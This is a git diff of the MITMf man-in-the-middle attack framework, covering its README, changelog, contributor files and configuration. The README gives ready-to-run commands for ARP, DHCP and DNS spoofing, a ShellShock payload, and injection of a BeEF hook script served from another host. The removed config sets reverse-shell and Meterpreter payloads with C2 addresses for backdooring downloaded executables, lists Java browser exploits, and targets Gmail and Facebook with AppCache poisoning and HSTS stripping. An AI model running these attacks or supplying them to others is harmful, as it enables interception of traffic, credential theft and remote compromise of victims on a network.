diff --git a/.coveragerc b/.coveragerc new file mode 100644 index 0000000..2a138cb --- /dev/null +++ b/.coveragerc @@ -0,0 +1,8 @@ +[run] +branch = True + +[report] +include = *core*, *libs*, *plugins* +exclude_lines = + pragma: nocover + pragma: no cover diff --git a/.gitignore b/.gitignore index fad281d..acdb2f6 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,63 @@ -*.pyc /plugins/old_plugins/ backdoored/ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] + +# C extensions +*.so + +# Distribution / packaging +.Python +env/ +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +*.egg-info/ +.installed.cfg +*.egg + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*,cover + +# Translations +*.mo +*.pot + +# Django stuff: +*.log + +# Sphinx documentation +docs/_build/ + +# PyBuilder +target/ + +# OSX Stuff +.DS_Store +._.DS_Store diff --git a/.travis.yml b/.travis.yml new file mode 100644 index 0000000..1656a7a --- /dev/null +++ b/.travis.yml @@ -0,0 +1,27 @@ +language: python +python: + - "2.7" + +addons: + apt: + packages: + - libpcap0.8-dev + - libnetfilter-queue-dev + - libssl-dev + +notifications: + irc: + channels: + - "irc.freenode.org#MITMf" + template: + - "%{repository}#%{build_number} (%{branch} - %{commit} - %{commit_subject} : %{author}): %{message}" + skip_join: true + use_notice: true + +install: "pip install -r requirements.txt" +before_script: + - "pip install python-coveralls" +script: + - "nosetests --with-cov" +after_success: + - coveralls diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..f2fc580 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,47 @@ +- Added active filtering/injection into the framework + +- Fixed a bug in the DHCP poisoner which prevented it from working on windows OS's + +- Made some preformance improvements to the ARP spoofing poisoner + +- Refactored Appcachepoison , BrowserSniper plugins + +- Refactored proxy plugin API + +-Inject plugin now uses BeautifulSoup4 to parse and inject HTML/JS + +- Added HTA Drive by plugin + +- Added the SMBTrap plugin + +- Config file now updates on the fly! + +- SessionHijacker is replaced with Ferret-NG captures cookies and starts a proxy that will feed them to connected clients + +- JavaPwn plugin replaced with BrowserSniper now supports Java, Flash and browser exploits + +- Addition of the Screenshotter plugin, able to render screenshots of a client's browser at regular intervals + +- Addition of a fully functional SMB server using the [Impacket](https://github.com/CoreSecurity/impacket) library + +- Addition of [DNSChef](https://github.com/iphelix/dnschef), the framework is now a IPv4/IPv6 (TCP & UDP) DNS server! Supported queries are: 'A', 'AAAA', 'MX', 'PTR', 'NS', 'CNAME', 'TXT', 'SOA', 'NAPTR', 'SRV', 'DNSKEY' and 'RRSIG' + +- Integrated [Net-Creds](https://github.com/DanMcInerney/net-creds) currently supported protocols are: FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos + +- Integrated [Responder](https://github.com/SpiderLabs/Responder) to poison LLMNR, NBT-NS and MDNS and act as a rogue WPAD server + +- Integrated [SSLstrip+](https://github.com/LeonardoNve/sslstrip2) by Leonardo Nve to partially bypass HSTS as demonstrated at BlackHat Asia 2014 + +- Spoof plugin can now exploit the 'ShellShock' bug when DHCP spoofing + +- Spoof plugin now supports ICMP, ARP and DHCP spoofing + +- Usage of third party tools has been completely removed (e.g. Ettercap) + +- FilePwn plugin re-written to backdoor executables zip and tar files on the fly by using [the-backdoor-factory](https://github.com/secretsquirrel/the-backdoor-factory) and code from [BDFProxy](https://github.com/secretsquirrel/BDFProxy) + +- Added [msfrpc.py](https://github.com/byt3bl33d3r/msfrpc/blob/master/python-msfrpc/msfrpc.py) for interfacing with Metasploit's RPC server + +- Added [beefapi.py](https://github.com/byt3bl33d3r/beefapi) for interfacing with BeEF's RESTfulAPI + +- Addition of the app-cache poisoning attack by [Krzysztof Kotowicz](https://github.com/koto/sslstrip) (blogpost explaining the attack here: http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html) \ No newline at end of file diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..7154da3 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,52 @@ +Contributing +============ +Hi! Thanks for taking the time and contributing to MITMf! Pull requests are always welcome! + +Submitting Issues/Bug Reporting +============= + +Bug reporting is an essential part of any project since it let's people know whats broken! + +Before reading on, here's a list of cases where you **shouldn't** be reporting the bug: +- If you haven't installed MITMf using method described in the [installation](https://github.com/byt3bl33d3r/MITMf/wiki/Installation) intructions. (your fault!) +- If you're using and old version of the framework (and by old I mean anything else that **isn't** the current version on Github) +- If you found a bug in a packaged version of MITMf (e.g. Kali Repos), please file a bug report with the distros maintaner + +Lately, there has been a sharp **increase** in the volume of bug reports so in order for me to make any sense out of them and to quickly identify, reproduce and push a fix I do pretend a minimal amount of cooperation from the reporter! + +Writing the report +================== +**Before submitting a bug familiarize yourself with [Github markdown](https://help.github.com/articles/github-flavored-markdown/) and use it in your report!** + +After that, open an issue ticket and please describe the bug in **detail!** MITMf has a lot of moving parts so the more detail the better! + +Include in the report: +- The full command string you used +- The full output of: ```pip freeze``` +- The full output of MITMf in debug mode (append ```--log debug``` to the command you used) +- The OS you're using (distribution and architecture) +- The full error traceback (If any) +- If the bug resides in the way MITMf sends/receives packets, include a link to a pcap containing a full packet capture + +Some good & bad examples +========================= + +- How to write a bug report + +https://github.com/byt3bl33d3r/MITMf/issues/71 + +https://github.com/byt3bl33d3r/MITMf/issues/70 + +https://github.com/byt3bl33d3r/MITMf/issues/64 + +- How not to write a bug report + +https://github.com/byt3bl33d3r/MITMf/issues/35 <-- My personal favorite + +https://github.com/byt3bl33d3r/MITMf/issues/139 + +https://github.com/byt3bl33d3r/MITMf/issues/138 + +https://github.com/byt3bl33d3r/MITMf/issues/128 + +https://github.com/byt3bl33d3r/MITMf/issues/52 diff --git a/CONTRIBUTORS.md b/CONTRIBUTORS.md new file mode 100644 index 0000000..d0f9f61 --- /dev/null +++ b/CONTRIBUTORS.md @@ -0,0 +1,22 @@ +# Intentional contributors (in no particular order) + +- @rthijssen +- @ivangr0zni (Twitter) +- @xtr4nge +- @DrDinosaur +- @secretsquirrel +- @binkybear +- @0x27 +- @golind +- @mmetince +- @niallmerrigan +- @auraltension +- @HAMIDx9 + +# Unintentional contributors and/or projects that I stole code from + +- Metasploit Framework's os.js and Javascript Keylogger module +- Responder by Laurent Gaffie +- The Backdoor Factory and BDFProxy +- ARPWatch module from the Subterfuge Framework +- Impacket's KarmaSMB script diff --git a/README.md b/README.md old mode 100644 new mode 100755 index fcb70c1..2b60ea0 --- a/README.md +++ b/README.md @@ -1,55 +1,171 @@ -MITMf V0.9 -========== +![Supported Python versions](https://img.shields.io/badge/python-2.7-blue.svg) +![Latest Version](https://img.shields.io/badge/mitmf-0.9.8%20--%20The%20Dark%20Side-red.svg) +![Supported OS](https://img.shields.io/badge/Supported%20OS-Linux-yellow.svg) +[![Code Climate](https://codeclimate.com/github/byt3bl33d3r/MITMf/badges/gpa.svg)](https://codeclimate.com/github/byt3bl33d3r/MITMf) +[![Build Status](https://travis-ci.org/byt3bl33d3r/MITMf.svg)](https://travis-ci.org/byt3bl33d3r/MITMf) +[![Coverage Status](https://coveralls.io/repos/byt3bl33d3r/MITMf/badge.svg?branch=master&service=github)](https://coveralls.io/github/byt3bl33d3r/MITMf?branch=master) + +# MITMf Framework for Man-In-The-Middle attacks -Quick tutorials, examples and dev updates at http://sign0f4.blogspot.it +**This project is no longer being updated. MITMf was written to address the need, at the time, of a modern tool for performing Man-In-The-Middle attacks. Since then many other tools have been created to fill this space, you should probably be using [Bettercap](https://github.com/bettercap/bettercap) as it is far more feature complete and better maintained.** -This tool is completely based on sergio-proxy https://code.google.com/p/sergio-proxy/ and is an attempt to revive and update the project. +Quick tutorials, examples and developer updates at: https://byt3bl33d3r.github.io -Availible plugins: -- Responder - LLMNR, NBT-NS and MDNS poisoner -- SSLstrip+ - Partially bypass HSTS -- Spoof - Redirect traffic using ARP Spoofing, ICMP Redirects or DHCP Spoofing and modify DNS queries -- BeEFAutorun - Autoruns BeEF modules based on clients OS or browser type -- AppCachePoison - Perform app cache poison attacks -- SessionHijacking - Performs session hijacking attacks, and stores cookies in a firefox profile -- BrowserProfiler - Attempts to enumerate all browser plugins of connected clients -- CacheKill - Kills page caching by modifying headers -- FilePwn - Backdoor executables being sent over http using bdfactory -- Inject - Inject arbitrary content into HTML content -- JavaPwn - Performs drive-by attacks on clients with out-of-date java browser plugins -- jskeylogger - Injects a javascript keylogger into clients webpages -- Replace - Replace arbitary content in HTML content -- SMBAuth - Evoke SMB challenge-response auth attempts -- Upsidedownternet - Flips images 180 degrees +This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-proxy) and is an attempt to revive and update the project. -So far the most significant changes have been: +Contact me at: +- Twitter: @byt3bl33d3r +- IRC on Freenode: #MITMf +- Email: byt3bl33d3r@protonmail.com -- Integrated Responder (https://github.com/SpiderLabs/Responder) to poison LLMNR, NBT-NS and MDNS, and act as a WPAD rogue server. +**Before submitting issues, please read the relevant [section](https://github.com/byt3bl33d3r/MITMf/wiki/Reporting-a-bug) in the wiki .** -- Integrated SSLstrip+ (https://github.com/LeonardoNve/sslstrip2) by Leonardo Nve to partially bypass HSTS as demonstrated at BlackHat Asia 2014 +Installation +============ -- Addition of the SessionHijacking plugin, which uses code from FireLamb (https://github.com/sensepost/mana/tree/master/firelamb) to store cookies in a Firefox profile +Please refer to the wiki for [installation instructions](https://github.com/byt3bl33d3r/MITMf/wiki/Installation) -- Spoof plugin now supports ICMP, ARP and DHCP spoofing along with DNS tampering - (DNS tampering code was stolen from https://github.com/DanMcInerney/dnsspoof/) +Description +============ +MITMf aims to provide a one-stop-shop for Man-In-The-Middle and network attacks while updating and improving +existing attacks and techniques. -- Spoof plugin can now exploit the 'ShellShock' bug when DHCP spoofing! +Originally built to address the significant shortcomings of other tools (e.g Ettercap, Mallory), it's been almost completely +re-written from scratch to provide a modular and easily extendible framework that anyone can use to implement their own MITM attack. -- Usage of third party tools has been completely removed (e.g. ettercap) +Features +======== -- FilePwn plugin re-written to backdoor executables and zip files on the fly by using the-backdoor-factory -https://github.com/secretsquirrel/the-backdoor-factory and code from BDFProxy https://github.com/secretsquirrel/BDFProxy +- The framework contains a built-in SMB, HTTP and DNS server that can be controlled and used by the various plugins, it also contains a modified version of the SSLStrip proxy that allows for HTTP modification and a partial HSTS bypass. -- Added msfrpc.py for interfacing with Metasploits rpc server +- As of version 0.9.8, MITMf supports active packet filtering and manipulation (basically what etterfilters did, only better), +allowing users to modify any type of traffic or protocol. -- Added beefapi.py for interfacing with BeEF's RESTfulAPI +- The configuration file can be edited on-the-fly while MITMf is running, the changes will be passed down through the framework: this allows you to tweak settings of plugins and servers while performing an attack. -- Addition of the app-cache poisoning attack by Krzysztof Kotowicz +- MITMf will capture FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc.) and Kerberos credentials by using [Net-Creds](https://github.com/DanMcInerney/net-creds), which is run on startup. -

How to install on Kali

+- [Responder](https://github.com/SpiderLabs/Responder) integration allows for LLMNR, NBT-NS and MDNS poisoning and WPAD rogue server support. -MITMf is now in tha kali linux repositories!! wohooooo!! +Active packet filtering/modification +==================================== + +You can now modify any packet/protocol that gets intercepted by MITMf using Scapy! (no more etterfilters! yay!) + +For example, here's a stupid little filter that just changes the destination IP address of ICMP packets: + +```python +if packet.haslayer(ICMP): + log.info('Got an ICMP packet!') + packet.dst = '192.168.1.0' +``` + +- Use the ```packet``` variable to access the packet in a Scapy compatible format +- Use the ```data``` variable to access the raw packet data + +Now to use the filter all we need to do is: ```python mitmf.py -F ~/filter.py``` + +You will probably want to combine that with the **Spoof** plugin to actually intercept packets from someone else ;) + +**Note**: you can modify filters on-the-fly without restarting MITMf! + +Examples +======== + +The most basic usage, starts the HTTP proxy SMB,DNS,HTTP servers and Net-Creds on interface enp3s0: + +```python mitmf.py -i enp3s0``` + +ARP poison the whole subnet with the gateway at 192.168.1.1 using the **Spoof** plugin: + +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1``` + +Same as above + a WPAD rogue proxy server using the **Responder** plugin: + +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad``` + +ARP poison 192.168.1.16-45 and 192.168.0.1/24 with the gateway at 192.168.1.1: + +```python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1``` + +Enable DNS spoofing while ARP poisoning (Domains to spoof are pulled from the config file): + +```python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1``` + +Enable LLMNR/NBTNS/MDNS spoofing: + +```python mitmf.py -i enp3s0 --responder --wredir --nbtns``` + +Enable DHCP spoofing (the ip pool and subnet are pulled from the config file): + +```python mitmf.py -i enp3s0 --spoof --dhcp``` + +Same as above with a ShellShock payload that will be executed if any client is vulnerable: + +```python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'``` + +Inject an HTML IFrame using the **Inject** plugin: + +```python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com``` + +Inject a JS script: + +```python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js``` + +Start a captive portal that redirects everything to http://SERVER/PATH: + +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH``` + +Start captive portal at http://your-ip/portal.html using default page /portal.html (thx responder) and /CaptiveClient.exe (not included) from the config/captive folder: + +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive``` + +Same as above but with hostname captive.portal instead of IP (requires captive.portal to resolve to your IP, e.g. via DNS spoof): + +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns``` + +Serve a captive portal with an additional SimpleHTTPServer instance serving the LOCALDIR at http://IP:8080 (change port in mitmf.config): + +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR``` + +Same as above but with hostname: + +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns``` + +And much much more! + +Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..) + +For a complete list of available options, just run ```python mitmf.py --help``` + +# Currently available plugins + +- **HTA Drive-By** : Injects a fake update notification and prompts clients to download an HTA application +- **SMBTrap** : Exploits the 'SMB Trap' vulnerability on connected clients +- **ScreenShotter** : Uses HTML5 Canvas to render an accurate screenshot of a clients browser +- **Responder** : LLMNR, NBT-NS, WPAD and MDNS poisoner +- **SSLstrip+** : Partially bypass HSTS +- **Spoof** : Redirect traffic using ARP, ICMP, DHCP or DNS spoofing +- **BeEFAutorun** : Autoruns BeEF modules based on a client's OS or browser type +- **AppCachePoison** : Performs HTML5 App-Cache poisoning attacks +- **Ferret-NG** : Transparently hijacks client sessions +- **BrowserProfiler** : Attempts to enumerate all browser plugins of connected clients +- **FilePwn** : Backdoor executables sent over HTTP using the Backdoor Factory and BDFProxy +- **Inject** : Inject arbitrary content into HTML content +- **BrowserSniper** : Performs drive-by attacks on clients with out-of-date browser plugins +- **JSkeylogger** : Injects a Javascript keylogger into a client's webpages +- **Replace** : Replace arbitrary content in HTML content +- **SMBAuth** : Evoke SMB challenge-response authentication attempts +- **Upsidedownternet** : Flips images 180 degrees +- **Captive** : Creates a captive portal, redirecting HTTP requests using 302 + +# How to fund my tea & sushi reserve + +BTC: 1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU + +ETH: 0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee + +LTC: LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr -```apt-get install mitmf``` diff --git a/config/app_cache_poison_templates/default.append b/config/app_cache_poison_templates/default.append index 169e917..9c40f8d 100644 --- a/config/app_cache_poison_templates/default.append +++ b/config/app_cache_poison_templates/default.append @@ -34,5 +34,5 @@

AppCache Poison works!

-

%%tamper_url%% page is spoofed with AppCache Poison by Krzysztof Kotowicz, but this is just a default content. To replace it, create appropriate files in your templates directory and add your content there.

+

This page is spoofed with AppCache Poison by Krzysztof Kotowicz, but this is just a default content. To replace it, create appropriate files in your templates directory and add your content there.

\ No newline at end of file diff --git a/config/app_cache_poison_templates/script.append b/config/app_cache_poison_templates/script.append index 4289f38..2ff38fb 100644 --- a/config/app_cache_poison_templates/script.append +++ b/config/app_cache_poison_templates/script.append @@ -1,2 +1,2 @@ -;console.log('AppCache Poison was here. Google Analytics FTW'); \ No newline at end of file +;alert('AppCache Poison was here. Google Analytics FTW'); \ No newline at end of file diff --git a/config/captive/portal.html b/config/captive/portal.html new file mode 100755 index 0000000..80b0cac --- /dev/null +++ b/config/captive/portal.html @@ -0,0 +1,31 @@ + + +Captive Portal + + + + +
+
+
Client Required
+ +
+ +
+ + + diff --git a/config/hta_driveby/flash_setup.hta b/config/hta_driveby/flash_setup.hta new file mode 100644 index 0000000..38adcf1 --- /dev/null +++ b/config/hta_driveby/flash_setup.hta @@ -0,0 +1,4 @@ + \ No newline at end of file diff --git a/config/mitmf.cfg b/config/mitmf.cfg deleted file mode 100644 index cc2d4ca..0000000 --- a/config/mitmf.cfg +++ /dev/null @@ -1,355 +0,0 @@ -#MITMf configuration - -[MITMf] - - #here you can set the arguments to pass to MITMf when it starts so all you need to do is run ```python mitmf.py``` (assuming you config file is in the default directory) - args='' - - #Required BeEF and Metasploit options - [[BeEF]] - beefip = 127.0.0.1 - beefport = 3000 - user = beef - pass = beef - - [[Metasploit]] - msfport = 8080 #Port to start webserver for exploits - rpcip = 127.0.0.1 - rpcpass = abc123 - -#-----------------------------------------------------------------------------------------------------------------------------------------# - -#Plugin configuration starts here - -[Spoof] - - [[DHCP]] - ip_pool = 192.168.2.10-50 - subnet = 255.255.255.0 - dns_server = 192.168.2.20 #optional - - [[DNS]] - www.facebook.com = 192.168.10.1 - google.com = 192.168.10.1 - - -[Responder] - - #Set these values to On or Off, so you can control which rogue authentication server is turned on. - SQL = On - SMB = On - Kerberos = On - FTP = On - POP = On - ##Listen on 25/TCP, 587/TCP - SMTP = On - IMAP = On - HTTP = On - HTTPS = On - DNS = On - LDAP = On - - #Set a custom challenge - Challenge = 1122334455667788 - - #Set this to change the default logging file - SessionLog = Responder-Session.log - - #Set this option with your in-scope targets (default = All). Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119 - #RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119 - RespondTo = - #Set this option with specific NBT-NS/LLMNR names to answer to (default = All). Example: RespondTo = WPAD,DEV,PROD,SQLINT - #RespondTo = WPAD,DEV,PROD,SQLINT - RespondToName = - - #DontRespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119 - DontRespondTo = - #Set this option with specific NBT-NS/LLMNR names not to respond to (default = None). Example: DontRespondTo = NAC, IPS, IDS - DontRespondToName = - - [[HTTP Server]] - - #Set this to On if you want to always serve a specific file to the victim. - Serve-Always = Off - - #Set this to On if you want to serve an executable file each time a .exe is detected in an URL. - Serve-Exe = Off - - #Uncomment and specify a custom file to serve, the file must exist. - Filename = config/responder/Denied.html - - #Specify a custom executable file to serve, the file must exist. - ExecFilename = config/responder/FixInternet.exe - - #Set your custom PAC script - WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return "PROXY ISAProxySrv:3141; DIRECT";}' - - [[HTTPS Server]] - - #Change to use your certs - cert = config/responder/certs/responder.crt - key = config/responder/certs/responder.key - - -[BeEFAutorun] - #Example config for the BeefAutorun plugin - - mode = oneshot - #can be set to loop, or oneshot - - #in loop mode the plugin will run modules on all hooked browsers every 10 seconds - #in oneshot mode the plugin will run modules only once per hooked browser - - [[ALL]] #Runs specified modules on all hooked browsers - - 'Man-In-The-Browser'= '{}' - - [[targets]] #Runs specified modules based on OS and Browser type - - [[[Windows]]] #Target all Windows versions using Firefox and Internet Explorer - - [[[[FF]]]] - 'Fake Notification Bar (Firefox)' = '{"url": "http://example.com/payload", "notification_text": "Click this if you dare"}' - - [[[[IE]]]] - 'Fake Notification Bar (IE)' = '{"notification_text": "Click this if you dare"}' - - [[[Windows 7]]] #Target only Windows 7 using Chrome - - [[[[C]]]] - 'Fake Notification Bar (Chrome)' = '{"url": "http://example.com/payload", "notification_text: "Click this if you dare"}' - - [[[Linux]]] #Target Linux platforms using Chrome - - [[[[C]]]] - 'Redirect Browser (Rickroll)' = '{}' - -[AppCachePoison] - # HTML5 AppCache poisioning attack - # see http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html for description of the attack. - # generic settings for tampering engine - - #enable_only_in_useragents=Chrome|Firefox - - templates_path=config/app_cache_poison_templates - - # when visiting first url matching following expression we will embed iframes with all tamper URLs - #(to poison the cache for all of them all at once) - - mass_poison_url_match=http://.*prezydent\.pl.* - - # it's only useful to mass poison chrome because: - # - it supports iframe sandbox preventing framebusting - # - does not ask for confirmation - - mass_poison_useragent_match=Chrome|Safari - - [[test]] - # any //example.com URL redirects to iana and will display our spoofed content - - tamper_url=http://example.com/ - manifest_url=http://www.iana.org/robots.txt #use existing static URL that is rarely seen by the browser user, but exists on the server (no 404!) - templates=test # which templates to use for spoofing content? - skip_in_mass_poison=1 - - [[gmail]] - #use absolute URLs - system tracks 30x redirects, so you can put any URL that belongs to the redirection loop here - - tamper_url=http://mail.google.com/mail/ - - # manifest has to be of last domain in redirect loop - - manifest_url=http://mail.google.com/robots.txt - templates=default # could be omitted - - [[facebook]] - tamper_url=http://www.facebook.com/ - manifest_url=http://www.facebook.com/robots.txt - templates=facebook # use different template - - [[twitter]] - tamper_url=http://twitter.com/ - #tamper_url_match=^http://(www\.)?twitter\.com/$ - manifest_url=http://twitter.com/robots.txt - - [[testing]] - tamper_url=http://www.html5rocks.com/en/ - manifest_url=http://www.html5rocks.com/robots.txt - - [[ga]] - # we can also modify non-HTML URLs to append malicious code to them - # but for them to be cached in HTML5 AppCache they need to be referred in - # manifest for a poisoned domain - # if not, they are "only" cached for 10 years :D - - raw_url=http://www.google-analytics.com/ga.js - templates=script - skip_in_mass_poison=1 - #you can add other scripts in additional sections like jQuery etc. - -[JavaPwn] - # All versions strings without a * are considered vulnerable if clients Java version is <= update version - # When adding more exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28 - - [[Multi]] #Cross platform exploits, yay java! <3 - - multi/browser/java_rhino = 1.6.0.28, 1.7.0.28 - multi/browser/java_calendar_deserialize = 1.6.0.10, 1.5.0.16 - multi/browser/java_getsoundbank_bof = 1.6.0.16, 1.5.0.21, 1.4.2.23, 1.3.1.26 - multi/browser/java_atomicreferencearray = 1.6.0.30, 1.5.0.33, 1.7.0.2 - multi/browser/java_jre17_exec = 1.7.0.6 - multi/browser/java_jre17_jaxws = 1.7.0.7 - multi/browser/java_jre17_jmxbean = 1.7.0.10 - multi/browser/java_jre17_jmxbean_2 = 1.7.0.11 - multi/browser/java_jre17_reflection_types = 1.7.0.17 - multi/browser/java_verifier_field_access = 1.7.0.4, 1.6.0.32, 1.5.0.35, 1.4.2.37 - multi/browser/java_jre17_glassfish_averagerangestatisticimpl = 1.7.0.7 - multi/browser/java_jre17_method_handle = 1.7.0.7 - multi/browser/java_jre17_driver_manager = 1.7.0.17 - multi/browser/java_jre17_provider_skeleton = 1.7.0.21 - multi/browser/java_storeimagearray = 1.7.0.21 - multi/browser/java_setdifficm_bof = *1.6.0.16, *1.6.0.11 - - [[Windows]] #These are windows specific - - windows/browser/java_ws_double_quote = 1.6.0.35, 1.7.0.7 - windows/browser/java_cmm = 1.6.0.41, 1.7.0.15 - windows/browser/java_mixer_sequencer = 1.6.0.18 - -[SSLstrip+] - #here you can configure your domains to bypass HSTS on - #the format is real.domain.com = fake.domain.com - - #for google and gmail - accounts.google.com = account.google.com - mail.google.com = gmail.google.com - accounts.google.se = cuentas.google.se - - #for facebook - www.facebook.com = social.facebook.com - facebook.com = social.facebook.com - -#-----------------------------------------------------------------------------------------------------------------------------------------# - -# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something' -# -# Author Joshua Pitts the.midnite.runr 'at' gmail com -# -# Copyright (c) 2013-2014, Joshua Pitts -# All rights reserved. -# -# Redistribution and use in source and binary forms, with or without modification, -# are permitted provided that the following conditions are met: -# -# 1. Redistributions of source code must retain the above copyright notice, -# this list of conditions and the following disclaimer. -# -# 2. Redistributions in binary form must reproduce the above copyright notice, -# this list of conditions and the following disclaimer in the documentation -# and/or other materials provided with the distribution. -# -# 3. Neither the name of the copyright holder nor the names of its contributors -# may be used to endorse or promote products derived from this software without -# specific prior written permission. -# -# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE -# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF -# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -# POSSIBILITY OF SUCH DAMAGE. -# -# Tested on Kali-Linux. - -#-----------------------------------------------------------------------------------------------------------------------------------------# - -[FilePwn] - [[ZIP]] - # patchCount is the max number of files to patch in a zip file - # After the max is reached it will bypass the rest of the files - # and send on it's way - - patchCount = 5 - - # In Bytes - maxSize = 40000000 - - blacklist = .dll, #don't do dlls in a zip file - - [[TAR]] - # patchCount is the max number of files to patch in a tar file - # After the max is reached it will bypass the rest of the files - # and send on it's way - - patchCount = 5 - - # In Bytes - maxSize = 40000000 - - blacklist = , # a comma is null do not leave blank - - [[targets]] - #MAKE SURE that your settings for host and port DO NOT - # overlap between different types of payloads - - [[[ALL]]] # DEFAULT settings for all targets REQUIRED - - LinuxType = ALL # choices: x86/x64/ALL/None - WindowsType = ALL # choices: x86/x64/ALL/None - FatPriority = x64 # choices: x86 or x64 - - FileSizeMax = 60000000 # ~60 MB (just under) No patching of files this large - - CompressedFiles = True #True/False - [[[[LinuxIntelx86]]]] - SHELL = reverse_shell_tcp # This is the BDF syntax - HOST = 192.168.1.168 # The C2 - PORT = 8888 - SUPPLIED_SHELLCODE = None - MSFPAYLOAD = linux/x86/shell_reverse_tcp # MSF syntax - - [[[[LinuxIntelx64]]]] - SHELL = reverse_shell_tcp - HOST = 192.168.1.16 - PORT = 9999 - SUPPLIED_SHELLCODE = None - MSFPAYLOAD = linux/x64/shell_reverse_tcp - - [[[[WindowsIntelx86]]]] - PATCH_TYPE = SINGLE #JUMP/SINGLE/APPEND - HOST = 192.168.1.16 - PORT = 8443 - SHELL = reverse_tcp_stager - SUPPLIED_SHELLCODE = None - ZERO_CERT = False - PATCH_DLL = True - MSFPAYLOAD = windows/meterpreter/reverse_tcp - - [[[[WindowsIntelx64]]]] - PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND - HOST = 192.168.1.16 - PORT = 8088 - SHELL = reverse_shell_tcp - SUPPLIED_SHELLCODE = Nonepatchpatchpatch - ZERO_CERT = True - PATCH_DLL = False - MSFPAYLOAD = windows/x64/shell_reverse_tcp - - [[[[MachoIntelx86]]]] - SHELL = reverse_shell_tcp - HOST = 192.168.1.16 - PORT = 4444 - SUPPLIED_SHELLCODE = None - MSFPAYLOAD = linux/x64/shell_reverse_tcp - - [[[[MachoIntelx64]]]] - SHELL = reverse_shell_tcp - HOST = 192.168.1.16 - PORT = 5555 - SUPPLIED_SHELLCODE = None - MSFPAYLOAD = linux/x64/shell_reverse_tcp \ No newline at end of file diff --git a/config/mitmf.conf b/config/mitmf.conf new file mode 100755 index 0000000..1e78825 --- /dev/null +++ b/config/mitmf.conf @@ -0,0 +1,528 @@ +# +# MITMf configuration file +# + +[MITMf] + + # Required BeEF and Metasploit options + [[BeEF]] + host = 127.0.0.1 + port = 3000 + user = beef + pass = beef + + [[Metasploit]] + rpcip = 127.0.0.1 + rpcport = 55552 + rpcpass = abc123 + + [[MITMf-API]] + host = 127.0.0.1 + port = 9999 + + [[DNS]] + + # + # Here you can configure MITMf's internal DNS server + # + + tcp = Off # Use the TCP DNS proxy instead of the default UDP (not fully tested, might break stuff!) + port = 53 # Port to listen on + ipv6 = Off # Run in IPv6 mode (not fully tested, might break stuff!) + + # + # Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888 + # can also be a comma seperated list e.g 8.8.8.8,8.8.4.4 + # + nameservers = 8.8.8.8 